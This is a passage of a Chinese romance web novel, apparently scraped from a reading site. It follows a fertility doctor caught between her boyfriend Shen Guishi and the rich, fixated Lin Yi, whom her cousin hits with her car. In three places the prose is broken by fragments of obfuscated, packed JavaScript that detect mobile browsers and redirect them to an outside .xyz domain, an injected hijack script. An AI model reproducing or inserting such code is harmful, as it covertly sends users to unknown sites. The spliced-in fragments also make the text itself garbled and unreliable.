这几个打扮得珠光宝气的富家太太都有很强烈的繁衍需求,当下就一边羡慕地恭维张太太:“哎呀,你现在有了儿子,可算在林家站稳脚跟了。” 一边围上来找江明月问问题:“江医生,我听说做试管很痛苦的,还要往自己肚皮上打针,是不是真的啊?” “江医生,我之前怀孕七周胎停了,我有甲减,是不是受这个影响啊?” “江医生,我怀疑我老公弱精,但他不肯跟我一起去做检查怎么办?” 江明月:“……” 真没想到啊,上这儿加班来了。 她尽可能地逐一做出解答,暂时解答不了的就让她们去做进一步检查。就这么聊了十来分钟,保姆抱着今天的主角——刚满百天的林二公子过来了。 大家纷纷跟上去看小朋友。江明月也不能免俗,想凑近看几眼。可惜人太多,挤不进去。她心想算了,往后退了几步,紧接着后脑勺就猝不及防地撞上了一个人。 “对不起。” 她边道歉边回头,看见是林逸,出于礼貌问了句,“没撞疼你吧?” “没事。”林逸扫了眼前面围着的人群,垂眼问江明月,“你想看他?” “看谁?” “我弟弟。” 江明月其实只是单纯地想凑个热闹,看不到也无所谓,但人家亲哥哥这么问了,她总不能直接说“不想”,太不给主家面子了。 于是江明月客套一笑:“来都来了,肯定要看看今天的男主角。” 林逸往前走,众人看见他,气氛都冷寂了一些,自动让出了一条路。 林逸走到最前面,从保姆手中接过婴儿,随后就朝江明月走了过来。保姆显然不太放心,亦步亦趋地跟着,想制止又不敢说。好在没几步路,林逸走到江明月身边就停下了,声线低沉而温和:“看吧。” 人类幼崽皮肤细嫩,睁着一双懵懂的眼睛望着江明月。江明月情不自禁地笑了,眼睛都浸染了柔和的光。 有时候她觉得生命真的很神奇。当初液氮冷冻箱里的一个小小胚胎,经由人体的孕育,逐渐生长出了血脉骨肉,变成了一个活生生的人。 “在想什么?”林逸问。 她现在的笑容,可比刚刚面对他的时候真心实意太多了。 “我第一次见他的时候,他在一个这么细的软管里,肉眼都看不到。”江明月两手比了一下胚胎移植软管的粗细,感慨道,“现在都长这么大了……生命真美好啊。” 林逸望着眼前的人,极轻地点了一下头。 方领无袖的裙子大大方方地展露出她那一对漂亮的锁骨,与那天她身穿手术衣时相比,是如出一辙的平直流畅。 确实,很美好。 几步之外,张太太看着这一幕,微微出神。 江明月一身淡蓝色长裙,而林逸刚好系着一条浅蓝色领带,两人之间氛围轻和,像是一对璧人。 也不知怎的,张太太忽然就想起那么一个普普通通的晚上,她在附院官网找到了江明月的照片,打印出来塞进相框,放到了送子观音像的旁边。 林逸恰好经过。 向来与她话不投机的林大公子在照片前驻足片刻,问她:“这是谁?” 张太太其实有点怕林逸,但越是怕越是想讨好。于是她趁送锦旗的时候,特意跟江明月提及了林逸。 她宛若一个赌徒。赌江明月会答应她,赌林逸会感谢她,赌林逸会因此善待她的小儿子。 只不过江明月拒绝了她。 其实她早该想到,林逸根本不需要她画蛇添足般的帮助。这位大少爷想要什么,自己就会想尽办法掠夺。 - 宴席开始,宾客入座。 菜色相当好。中途上了一道砂锅海鲜粥,非常鲜香清淡的潮汕风味,江明月觉得味道不错,悄悄退场的时候特意绕到了会所服务台,问服务生:“我想打包一份海鲜粥带走,需要等多长时间?” 服务生一脸抱歉:“不好意思,我们这里所有菜品都不支持外带。” “为什么?”江明月还没听说过哪个开门做生意的餐厅有这个规矩。 “我们主厨认为,菜品外带之后,风味会发生变化,影响食用口感。” 江明月本想打包一份带回去,让沈归时也尝尝。听服务生这么说,只好遗憾点头:“那就算了。” 等有时间再和沈归时来堂食好了。 服务生目送江明月离去,忽然瞥见大厅左侧的通道里走出了一个人。 服务生立刻站得笔直:“老板。” 林逸走近问道:“她刚刚和你说了什么?” 服务生呆滞了好几秒,才意识到林逸说的“她”,是刚刚那位女客人。 “那位女士想打包一份海鲜粥。” - 地面停车场很大,江明月绕了一圈才找到自己的车。正准备上车,身后传来一道气喘吁吁的声音:“女士,请等一下。” 江明月回过头,认出是刚刚那名服务生。 “怎么了?” 服务生停下匆忙的脚步,喘了口气,说:“女士,主厨说可以帮您打包一份砂锅海鲜粥——连砂锅一起打包,这样砂锅的热度可以让海鲜粥保持恰当的温度,不至于影响口感。现在厨房刚好有正在烹饪的海鲜粥,只需要再等几分钟就可以帮您打包送过来,您看可以吗?” 江明月欣然同意:“可以啊。一共多少钱?我先结账。” 服务生拿出对讲机飞快地交流了几句,然后笑容可掬地说:“不需要您付钱,这道菜我们老板送给您,您的喜爱就是对我们的肯定。” 几分钟后,另一名服务生提着一个大保温袋走了过来。江明月接过保温袋,还挺沉,是连粥带锅的分量。 “你们老板贵姓?”江明月把保温袋塞进后备箱,顺口一问。 “姓林。”服务生回答。 江明月下意识地猜测:“林逸?” “是的,女士。” 这人投资的产业还挺多。江明月笑了笑:“那就谢谢你们老板了。” - 江明月驶离会所停车场。 停车场入口处的一辆黑色轿车内,林逸朝前面那辆银色SUV微抬下颔,淡淡交代司机:“跟上。” 江明月的驾驶技术相当好,开得很快,一路都压着限速的临界值在开,打了好几次转向灯超车。 司机逐渐跟不上了。终于在一个路口,那辆银车踩着最后几秒绿灯过去了。轮到林逸这辆车的时候,信号灯已经变成了红灯。 “先生……”司机小心翼翼地觑了眼林逸的脸色。 林逸脸上不见喜怒,只是声音有些低沉:“你下车,我来开。” 司机立刻下车,把驾驶位让给了林逸。林逸迅速系上安全带,绿灯恰好亮了。他重重踩下油门,车子飞驰而出。几分钟后,视野里出现了一辆车牌尾号77的银车。 幸好刚刚没喝酒。 他紧紧跟着,直到那辆银色SUV在海城名邸附近减速,然后打了个方向,驶入了海城名邸的地下车库。 海城名邸。 林逸在小区门口踩住刹车。 这个地方他来过。 上次送“小沈”来过一次。 所以她提前离席,还一路超车,开那么快,是着急回来见那个小沈,或者说——男朋友。 男朋友。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640861|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林逸在心底反复念着这三个字。 路灯透过车窗映在他的一边侧脸上,另一半面庞隐在暗处,模糊不清,只有一个冷硬的轮廓。 许久之后,他调头离开。 有男朋友,又怎么样。 - 江明月回到海城名邸的时候,还不到七点半。 沈归时坐在餐桌前,面前是笔记本电脑。江明月大致扫了一眼,屏幕上全是密密麻麻的文档,数据和文字堆叠在一起。 “在忙?” 沈归时说:“开学以后要申请毕业,有几篇文章要整理一下。” “晚饭吃了吗?”江明月把保温袋放到餐桌上,“打包了一份海鲜粥,你尝尝。” 沈归时拆开保温袋的包装:“你喜欢?” “嗯,味道不错。” 江明月去卫生间洗手,洗完回来一看,沈归时电脑屏幕上的内容已经变成了图文并茂的菜谱,最上面一行是黑体加粗的标题:如何煮一锅色香味俱全的海鲜粥? 沈归时滑动着无线鼠标,看得还挺认真。 江明月走到他身后,跟着看了一会儿:“你是真卷啊,看到什么都想学。” “你不是喜欢吗?”沈归时回头看她,“明天做给你吃。” 这男人,算是搞对了。 既能拿手术刀,又能拿菜刀。 “什么时候开学?”江明月问。 “9月23号。” 还有一个多月。 江明月拉了张餐椅,坐到沈归时旁边,撑着头端详他片刻:“开学以后,就别搬回学校了,好吗?” “还住这里?” 江明月点头:“你下半年还是继续在医院实习吧?这里离医院近,你来回都方便。还有,我想每天都能看到你。” 她说得直白又坦荡。 沈归时只觉得眼前的菜谱一个字都看不进去了。 每天。 她的意思是,她也会住在这里。 沈归时不由问:“你父母旅行回来以后,你也不回家住?” 江明月笑着反问:“你希望我回家住?” “那你父母那边——” “我就跟他们说,医院工作忙,所以就近住海城名邸,他们会理解的。” 餐桌上方,款式简约的玻璃吊灯明亮而透彻地映照下来。沈归时眼眸微垂,睫羽在眼下投出淡青色的阴影。 工作忙。 只是因为工作忙。 而不是因为有了男朋友。 原来她并不打算跟父母透露他的存在。 江明月倒不是想瞒着父母。 她只是考虑到沈归时目前只是一个没有工作的在校学生,除了博士生补贴,别无收入来源,家境又清寒,她担心父母不能接受。 她想找个时机,探探父母的口风再说。 再者,她与沈归时刚刚确认关系,还没相处多久,现在还不到跟父母正式介绍他的时候。 想到这儿,江明月又道:“我们在医院里也要低调一点。” “低调什么?” “就是别让同事发现我们在一起了。” 孙静有个老同学在附院当手术室护士,江明月可不希望她妈从这条途径得知她恋爱的消息。 沈归时的眉骨极轻地一拧,却没有任何反对意见:“好。” 打包带回的海鲜粥在砂锅的持续保温下,依旧入口微烫。江明月刚才在席间已经吃过了,这会儿只是为了陪沈归时多坐一会儿,才又盛了一碗粥,同他边吃边聊。 餐后,沈归时继续整理文章,江明月准备去洗漱休息。 她朝卧室走了几步,又折回来,扶着沈归时的椅背说:“差点忘了一件事。” “什么事?” 沈归时偏头看她。江明月的目光在那清晰饱满的唇线上停留片刻,然后飞快地凑近,唇瓣相碰,又轻又软。 “就这个事。” 江明月亲完就跑,回房间的第一件事是冲进卫生间照镜子。 ——很好!脸没有红!有进步! 不过还得再练!要练到随时随地、不慌不忙、面不改色、亲完不跑为止! 26. 地下情人 沈归时的执行力很强,第二天晚上就备齐食材,给江明月煮了一锅香气四溢的海鲜粥。 江明月刚要坐到餐桌前,崔晚晚一个电话过来,神秘兮兮地说:“明月!我打算这礼拜天向宋远告白!需要你配合一下!” 崔晚晚嗓门儿挺大,江明月下意识地调低了音量,看了眼坐在旁边的沈归时,拿着手机往房间里走:“你说。” 沈归时的视线追着她的背影,直到她走到过道尽头,推门进了主卧。 他刚刚好像听见了“宋远”两个字。 她在跟谁打电话,还特意回避了他? 电话里,崔晚晚将整个计划和盘托出:“到时候,你、我、宋远,我们仨一起去游乐场,我和他先去坐过山车,我假装很害怕,全程握住他的手。然后再去坐海盗船,下来我就假装被海盗船晃晕了,顺势倒在他怀里。到了晚上,游乐场会放烟花,我就在烟花绽放下跟他告白。相信经过一整天的亲密接触,他不会拒绝我的。” 江明月听了半天:“我好像没有出现的必要啊。” “有必要!万一宋远拒绝了我,你就用你师姐的威严逼迫他就范!我就试这么一次,只许成功,不许失败!” “……” “就这么说定了,这礼拜天,不见不散!” 挂了电话,江明月回餐厅坐下。 沈归时端着一张沉静如常的脸,像是随口一问:“谁的电话?” “我一个朋友。” “找你什么事?” 这事说到底是崔晚晚的私事,崔晚晚愿意和江明月分享,不代表她愿意让沈归时也知道。 江明月刚刚特意避开沈归时接电话,就是想到了这一层。现在自然也不会多说。 “没什么,一点小事。”她一语带过。 沈归时看出她不想说,于是没再多问。 等上了班,沈归时趁周围没人的时候问宋远:“师姐她……最近联系你了吗?” 宋远随口回答:“你是说江师姐?呃,有段时间没联系了,怎么了?” “没怎么。”沈归时拿着水杯去饮水机接水。 “不过江师姐那个朋友最近一直在联系我,还叫我这周末一起去游乐场。对了,她说江师姐也会去。” 空气似乎一静,只剩下饮水机汩汩出水的声音。一杯水接到一半,沈归时将饮水机的开关推上去,再开口时,仍旧是那张八风不动的脸:“她也去?” 宋远终于后知后觉地意识到这一点。 江明月也去。 “不对啊,我听说生殖科在院外弄了个实验室,江师姐最近好像很忙,怎么还有时间去游乐场……难道就为了陪我度过一段快乐的时光?还有江师姐那个朋友,时不时对我嘘寒问暖,肯定都是江师姐的授意。” 宋远看了看四周,低头小声问沈归时:“怎么办啊沈哥?我们都转了好几个科室了,江师姐怎么还对我不死心?” 不远处有外科医生大喊:“我笔呢?我笔怎么又不见了!谁能借我一支笔啊?” 沈归时从胸前口袋里掏出一支笔,插进宋远的衣袋,顺势踹了他一脚:“少想这些有的没的,给老师送笔去!” 宋远茫然地走远。 沈归时安静下来。 似乎有很多细枝末节都在此刻得到了一个合理的解释。 ——她还在惦记宋远。她竟然还惦记着宋远。 所以她不愿意向父母透露他的存在,也不愿意在同事间公开他们的关系。 所以她打个电话都要遮遮掩掩,也不肯说那个“朋友”找她到底什么事。 他知道,他只是她心中的50%,二分之一,两个人选中的一个。 他以为在她亲口问他愿不愿意做她男朋友的时候,他已经胜出了。 原来还没有。 那他现在算什么? 一个住在她名下精装修的大平层里的、与她保持亲密恋爱关系的、却始终见不得光的——地下情人? 沈归时闭了闭眼,屏息数秒,说服自己接受了目前的处境。 - 江明月结束了一天的工作,回到海城名邸。 沈归时已经对照着手机上的教学视频处理好了鲈鱼。鱼肚切了花刀,做成了一个开屏造型,腌制后上锅清蒸。 江明月有现成的吃,自然不吝赞美,情绪价值管够:“优秀!学习能力好强!看视频都能学会!” 沈归时低头开煤气灶,转到大火:“你要是想学也能学会。” 他觉得他的师姐不会做饭纯粹是因为懒得动手。这种熟能生巧的东西,至于难倒一个手术医生? “不不不,我没你那么聪明。”江明月恭维了一句,随后话锋一转,“我只是一个普普通通的天才。” 沈归时失笑:“对,你是。” 对方这么爽快地承认了,江明月反而有点无所适从。为了证明自己并非吹嘘,她决定把读书时的经历拿出来说一说:“我高中时可是数竞选手,全校的希望都在我身上。” “我知道。” “嗯?你怎么知道?” “我高中也是在市一中读的。” 他这么一说,江明月就不觉得奇怪了。毕竟自己一直是各科老师拿出来举例的“正面典范”,沈归时只要在一中读书,肯定会有所耳闻。 清蒸鲈鱼的时间到了,沈归时关了火,倒掉汤汁淋上热油。江明月想顺便端个盘子,沈归时说了声“烫”,没让她接手,自己端到了餐桌上。 就在这时,孙静给江明月拨了个视频电话。 江明月指了下手机,语速很快地交代:“我妈打视频来了,我去接一下,你别出声啊。” 沈归时笑容渐收,轻轻点头。 江明月跑去卧室接了视频电话。 孙静那边还是下午,屏幕上的她穿着浅色防晒衣,戴着巨大的遮阳帽,墨镜口罩齐全,跟江明月抱怨希腊又热又晒。接着又把镜头调转过来,给江明月看周围漂亮的海景。 镜头掠过明显黑了一个度的江峰,江明月忍不住说:“爸,你擦擦防晒霜啊,都晒黑了。” 江峰凑近看屏幕上的江明月,笑呵呵地朝孙静摊开手:“防晒霜呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640862|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再给我挤点,月月的话咱得听。” 孙静嘴上说着“男人黑点不要紧”,手却从包里摸出了一瓶防晒,扔给了江峰。然后继续跟江明月说:“小洛马上要开学了,你舅妈说让他最后再放松几天。那孩子说要来海城玩,这两天就到。我跟你爸爸都不在家,你把二楼那间客房收拾一下给他住好了。” 孙洛,江明月的表弟。今天刚高考结束,成绩不理想,他父母打算让他再复读一年。 “知道了。”江明月应了下来。 孙静又叮嘱:“那孩子玩心重,你稍微看着他点,别让他惹祸。” 江明月表示没这本事:“我工作上还有一堆事呢,哪有时间管他。” 孙静说:“我也知道你工作忙,你舅妈还说让你辅导一下小洛的学习,我都帮你推了,我说我家月月都高中毕业十年了,那些知识点早就忘光了,你舅妈这才说算了。小洛也快开学了,顶多住个两三天就走了。毕竟是亲戚,你就捎带着照应一下,点外卖的时候帮他也点一份,管个吃住就行。” 江明月点头:“好的,让他到了打我电话。” - 视频挂断,夫妻俩继续游玩,江明月走出卧室。 饭菜已经摆了一桌。沈归时望着江明月走近,嗓音有些低:“师姐。” “嗯?” 江明月脑子里想的还是孙静刚刚说的事。 孙洛要住在她家,那她肯定也要回去住,总不能让孙洛一个客人独自住她家里。 沈归时就看着她这副心不在焉的样子,极缓慢地问出一句:“你到底有没有把我当男朋友?” 他话音未落,江明月忽然说:“我这几天回家住。” 沈归时抿紧了唇。 他不该问。 问得那么直白尖锐,只会把她推远。 “住几天?还……回来吗?”沈归时问。 “三五天吧,有个亲戚来海城玩,要住我家,我回去照应一下。”江明月坐到沈归时身边,笑着看他,“回来肯定要回来啊,不然想你了怎么办?” 沈归时心弦颤动,脑中就漂浮着一个念头—— 他认了。 不管她在外面偷偷见谁,不管她有多少事不愿意与他分享,不管她到底把他当成了什么角色,他都认了。 见不得光就见不得光。地下情人就地下情人。 只要她还愿意回来就行。 更何况,一定是他做得不够好,师姐才会惦记别人。 他怎么可以那样质问她?他实在过分。 江明月把孙洛的事理顺了,终于想起刚刚沈归时问了她什么。 他问,她到底有没有把他当男朋友。 她怎么就没把他当男朋友了? “我们不是在上周六就确认关系了吗?”江明月抛出反问。 “是周日。”沈归时纠正,“当时过凌晨了。” “好,不管周六还是周日,都是上周的事了沈归时!你怎么到现在还在问我有没有把你当男朋友?你还想怎么当我男朋友?”江明月停了停,眉心轻拧,“想睡我?” 27. 索吻 两人并排坐在餐桌一侧,距离很近,衣料偶尔相触。 江明月手里原本拿着筷子打算夹菜,这会儿已经把筷子搁下了,她偏头盯着沈归时,等他的答案。 沈归时试图解释:“我不是这个意思……” 话未说完,江明月的眉心拧得更紧了,打断他:“你不想?” 这几日天气不热,餐厅没开空调。两人身后,一台无叶风扇缓慢旋转。一片沉寂中,唯有风扇运作时发出的“嗡嗡”轻响。 江明月抓住旁边人的手背:“你说话呀!” 沈归时反手握住她的掌心,微微用力将她拉近,另一只手扳过她的肩膀,自己则倾身过去。 下一瞬,他的吻直接覆上了她的唇。 这一连串动作发生得太快,江明月完全没反应过来,呆呆地任人索吻。 风扇转到她的方向,将她的头发轻轻吹散。不同于此前的浅尝辄止,这个吻很深,她觉得晕头转向,呼吸都有些不畅,本能地往后躲。 随即后脑勺就被一只手按住。 他似乎把许多浓烈的情绪都倾注了进来。 像一场绵长而极致的占有。 他想。 她知道了。 他想。 江明月好半天才寻到一个间隙,轻轻推他:“吃饭……鱼都凉了……” 沈归时慢慢松开她:“好。” - 周六下午,孙洛抵达海城。江明月还在实验室等工人来安装窗子,想到孙静的叮嘱,她愣是从百忙之中抽空,去了趟高铁站,接到了孙洛。 孙洛整个寸头都染成了黄毛,江明月差点没认出来。等人上了车,她用眼睛余光瞟了两眼,问:“你们学校允许染发?” “不允许啊,这不都剪短了嘛。”孙洛摸了摸车里的内饰,“姐,你这车挺帅啊,全真皮的吧?这氛围灯能不能开给我看看?” “大白天的,开什么氛围灯。” 江明月对这个表弟并不熟悉,也就逢年过节的时候见过几面。听说舅舅舅妈溺爱得很,是在万千宠爱中长大的。 她决定先了解一下孙洛接下来几天的安排:“你想去哪些景点?我给你找个导游。” “我不想去景点。” “那你想去哪儿?不是说要来海城玩吗?” “我来海城是为了找我女朋友。” 江明月大为震撼:“你才多大?你都有女朋友了?” 孙洛说:“姐,我都成年了,不是小孩儿了。” “你们怎么认识的?你爸妈知道吗?” “打游戏认识的。我爸妈还不知道,姐,你可别去告密啊。”孙洛瞒着父母,对江明月倒是坦白,“我这次来海城就是想跟她见一面,之前一直在网上聊,没见过面。” 真行,还是网恋。 江明月不由回想了一下自己高考结束的那个暑假在忙什么。 哦,她没高考。她因为数学竞赛名次不错,直接保送海大。 高中毕业的那个暑假,海城一中邀请她回学校做个演讲,跟新生交流一下学习心得。她去了。 江明月想到这里,忽然意识到同样毕业于海城一中的沈归时,刚好比她小三届。 所以那天她回校演讲的时候,他就在观众席的某一个位置。 他见过她。 在漫长的十年前。 - 到家后,江明月把孙洛领到二楼客房:“你住这个房间,缺什么跟我说。” 想到这人刚刚提到的网恋女友,江明月补充:“不许带人回来。” 孙洛拍着胸脯保证:“我知道,姐,你放心,我肯定不给你添乱。” 看着还挺听话的。 孙洛一下午都闷在房间里打游戏,像个安静内秀的少年。江明月不再多管,做自己的事去了。 - 第二天就是和崔晚晚约好去游乐场的日子。江明月本来打算自己开车去,崔晚晚自告奋勇当司机,让江明月坐她的车一起去。 江明月昨晚搬回来住了,现在两个人就在同一个小区,完全顺路。于是江明月欣然同意,没开车,车钥匙也留在了家里。 孙洛昨晚熬夜打游戏到凌晨两点,醒来一看手机,江明月一早就给他转了1000块钱。附带一则消息。 【江明月:小洛,我今天有事要出去一趟,你吃饭自己解决,点外卖或者出去吃都可以。外出的话注意安全,有事打我电话。】 孙洛下楼去洗手间,无意间瞥见了客厅茶几上的车钥匙。他脚步一顿,径直走过去,把车钥匙攥进手里。 - 海城金融中心附近,喧嚣繁华,高楼林立,车潮拥挤。 路边,一辆黑色迈巴赫打着双闪,直到一个西装革履的年轻男人打开后座车门坐了进去,车子才缓缓驶离。 “林总。”副驾驶的男助理将一个PAD递往后座,“这是上周末晚宴期间摄影师拍下的一些照片,您要不要看看?” 林逸随手翻了翻,手指在某一张照片上顿住。 “冲印出来。”他将PAD递了回去。 “好的林总。”助理应承得很快,“是所有照片都冲印吗?” “就这一张。” 就这一张?助理下意识地看了眼手里的平板电脑。 屏幕上只有一张照片。 照片的左侧是一个身穿淡蓝色长裙的年轻女人,虽然只有一个侧脸,但已经能窥见她唇颊柔和的笑意。而照片右侧就是此刻端坐于汽车后座的那个人,打着浅蓝色的领带,和那条淡蓝长裙的颜色十分接近,他微微低头看着女人,手肘还夹着一个婴儿。画面色调偏暖,两大一小之间气氛温馨,很像是一家三口。 这女人是谁啊……助理的好奇心都快从胸腔里溢出来了。 车窗外,车流不息。一辆银色SUV迎面驶来。透过隐隐反光的前挡风玻璃,可以看到车内坐着一对少男少女。 林逸漫不经心的眼色微微一凛,吩咐司机:“停车。” - 周末去游乐场的路格外堵,几乎每个红绿灯都要等两轮。 崔晚晚看看时间,十分焦急:“早知道今天路上这么堵,就坐地铁去了。宋远可能都快到了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642836|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江明月瞥了眼导航,安慰道:“别急别急,再堵个五分钟就畅通无阻了。宋远到了就让他先进去玩项目,不耽误。” 这时手机铃声响起,是孙洛打过来的。 一接通,孙洛慌张失措的声音就传了过来:“姐,不好了,出大事了,我开车撞了个人。” 他语速很快,江明月只捕捉到两个关键字眼:“什么撞人?” 孙洛含糊其辞,但三言两语之间也算交代清楚了:“我就想开车带我女朋友兜兜风……这不是你刚好没把车开走,我就想蹭个车开开,谁知道会出车祸……” 江明月大致听明白了,感觉自己脑中如炸雷般轰鸣。 “你有驾照吗?”江明月冷声问。 “有的有的,前几天刚拿到。” 江明月勉强松了口气。又问:“你现在人在哪里?被撞的人状态怎么样?” “你等等啊,我发定位给你。你问被撞的人?呃……手脚都在,应该没什么大事。” 江明月蹙眉,问得细了一点:“对方多大年纪?意识清醒吗?有没有流血?” “看着挺年轻的,可能二三十吧。意识很清醒,被撞倒了都能自己站起来。血?地上没有啊。” 江明月打开孙洛发来的定位,看了眼距离。 还好,不算太远。 “你先报警,我马上过来。” 孙洛紧张兮兮地问:“姐,怎么还要报警啊?我没犯法吧……” 江明月声线疲惫,发出一连串的质问:“你撞了人不用赔钱的吗?不报警怎么定责?不定责怎么找保险公司出险?不找保险公司,那你赔还是我赔?” “姐,你别生气啊,我报警,我这就报警。” 江明月让崔晚晚靠边停一下,说自己有急事要去处理。 崔晚晚已经从她刚刚的电话内容里,大致猜到了出了什么事,闻言立刻靠边停下,让江明月下车。同时重重地叹了口气:“明月,没有你,我今天的告白行动就失去了灵魂。” 江明月给她鼓劲儿:“你的行动计划已经非常完美了,我在不在场不重要。加油啊,等你的好消息。” 江明月打车去了车祸地点。 她到的时候,警车也刚好到了。两名交警开门下来,指挥孙洛把车开到路边停好,以免堵塞交通。 江明月隔着一段距离,看到车旁边还站着一个打扮成熟的年轻女孩,估计就是孙洛的“网恋女友”,浓妆大波浪,耳朵上挂着造型夸张的大圆圈耳环。 江明月觉得后脑勺作痛,走过去剜了眼孙洛:“谁允许你开我车的?” “我错了,姐,我真的错了。”孙洛认错倒挺快,也许这是他在家里养成的习惯,干了点混事就立刻承认错误,这样就能得到父母的谅解,“我就是看到茶几上放了个车钥匙,我想应该是你特意留给我的。” “你可真敢想。”江明月闭眼吐出一口气,缓了两秒才睁开眼,“你撞的人呢?” 孙洛指着一个方向:“在那儿。” 江明月顺着他手指的方向看了过去,有些诧异。 林逸? 28. 卖惨 江明月走了过去。 交警正在和林逸确认姓名和身份证号码。林逸言语清晰,气场温和,身上没有明显的伤口,看上去情况尚可。 交警招手让孙洛来签字:“我们看过监控了,当时是直行绿灯,你右转,这个行人正常直行,你没有避让,这才导致事故发生。右转让直行,这是法律规定的,所以你全责,行人无责。” 孙洛满脸写着不服气。江明月看得头大,主动出面道歉:“对不起林先生,真不巧,开车的刚好是我一个亲戚。你现在感觉怎么样?有没有哪里特别疼?” 林逸的手按在胸腹前,很认真地描述:“这个位置非常疼。” 江明月的神色一下子严肃起来,追问:“你深呼吸试试,疼痛会加重吗?” 林逸点头。 江明月说:“那你赶紧去医院拍个片子,很有可能骨折了。医药费什么的我会找保险公司给你理赔。” 孙洛不耐烦地签下了交通事故认定书,转头小声跟江明月说:“姐,我觉得这人是故意的,我本来好好地开着车,车速也不快,他不知道从哪儿冒出来了,我一时没注意才撞了上去。我看他就是在碰瓷,想讹钱。” 江明月是真的气不打一处来。 那是林逸!他缺什么都不会缺钱!他怎么可能在大马路上碰瓷骗钱?还有—— “他有病吗?他故意让你撞?小洛,你出门能不能带上脑子?你要是我亲弟弟,我现在就给你两巴掌清醒清醒!” 孙洛不敢直面江明月的怒火,垂下头小声嘟囔:“明明就是。” 江明月看着他这副敢怒不敢言的样子,再看看旁边那个衣着暴露、半条手臂都是纹身的浓妆女孩,无声地叹了口气,又给孙洛转了1000块钱:“这钱给你打车用。这几天你想去哪儿都给我打车,听见了吗?” 孙洛点点头,小心翼翼地看了眼江明月,央求道:“姐,这事儿别告诉我爸妈行吗?” 回答他的,是江明月轻淡而冷然的一声“呵”。 孙洛赶紧拉着小女友走人:“姐,你消消气,我们先撤了,你眼不见心不烦。” 两人手拉着手走去了街头一家饮品店。 江明月缓过心神,准备把车开走。回头一看,林逸还在立在原地。 江明月提醒他:“你快去医院啊,挂个急诊检查一下。” 林逸说:“我的司机在来的路上。” 江明月点头,正打算走,林逸接着说:“大概过两个小时到。” 江明月愣住。 两个小时?他的司机是出海城了吗? “没事的,应该也没什么大问题,就是呼吸的时候有点难受。”林逸微微笑道。 对方毕竟是受害方,肇事的还是自己表弟。江明月心里愧疚,提议道:“你去哪个医院?我送你。” 林逸在江明月身旁的副驾驶位置上坐好。 怪不得那个姓沈的会向江明月卖惨。 原来她真的吃这一套。 - 林逸说去海大附院。 江明月对自己医院的就诊流程非常熟悉,林逸坐下来之后,就教他在小程序上挂了号。想了想,又给急诊科打了个电话。 “是小王吗?我江明月。现在急诊的人多吗?啊,挺多的?那能不能先帮我排个队,我把挂号的条码拍给你,大概过二十分钟就到。嗯,出了个车祸。不是我,是一个朋友。行,谢谢啊。” 林逸听到“一个朋友”,唇角不由弯起。 江明月挂了电话,发动车子去医院。路上又接到了实验室赵彤打来的电话,她直接按了免提。 赵彤问:“明月姐,你今天方便过来一趟吗?这边安装窗户的师傅在等你签字打款。” 江明月说:“我现在就在去医院的路上,马上就来。” 车子开到了急诊楼门口。 江明月示意林逸下车:“刚刚提前给你排队了,应该也快排到你了。我还有点事,就不陪你进去了。” 林逸往急诊大门走,忽然听见江明月喊了一声“林先生”。 林逸立刻转身走回去。江明月降下车窗,仔仔细细地交代:“检查的发票单据你保管好,保险理赔的时候要用。” 林逸盯着她温煦一笑:“好,谢谢你提醒。” 急诊医生给林逸安排了CT。林逸拿到CT报告后,给方修远打了个电话,得知对方今天在门诊后,便带着报告去找方修远。 方修远刚好看完了一批病人,趁着这个空闲时间,接过林逸的报告看了两眼,大手一挥:“没事!小伤!肋骨轻微骨折而已,回去拿胸带固定一下就好。你怎么想到来找我看病了?你家的私人医疗团队呢?” 林逸说:“我想住院。” 方修远跟他解释:“你这种轻微骨折没必要住院,居家养一段时间就能恢复了。” 林逸重申:“我要住院,你给我想办法。” 方修远问:“你想住多久?” “越久越好。” 方修远爆了句粗口:“我们科病床很紧张的,一般都是留给手术病人的,我手上也没几张床。而且现在要考核病床周转率的你知道吗?” 林逸静静地看着他。 方修远被看得发怵,好半天想到了一个解决方案:“特需病房空着,不然你去住特需吧,套间6000块钱一天,主任诊查费2000块钱一天,不能走医保,大少爷,你觉得怎么样?” 林逸毫无异议。 方修远刷刷开单子,忍不住吐槽:“真钱多烧的。” - 第一批小白鼠已经送到了实验室。江明月将小白鼠分组,挨个儿测量、登记生理数据。忙活了大半天,终于想起了疑似骨折的林逸,打算打个电话问问情况。 她没备注林逸的手机号。好在他那张名片还在她车里,她找到名片拨出电话。 “江小姐。”电话接通后,林逸先开了口。 江明月问:“你检查结果出来了吗?情况怎么样?” “确实骨折了,刚刚办理了住院。”林逸说。 这么严重?都住院了。 江明月把几种可能的伤情状况在脑中飞快地过了一遍,又问:“需要手术吗?” “不用。” “医生怎么说?” “说养一段时间可以恢复。” 江明月安慰道:“嗯,伤筋动骨一百天,骨折确实要慢慢养。” 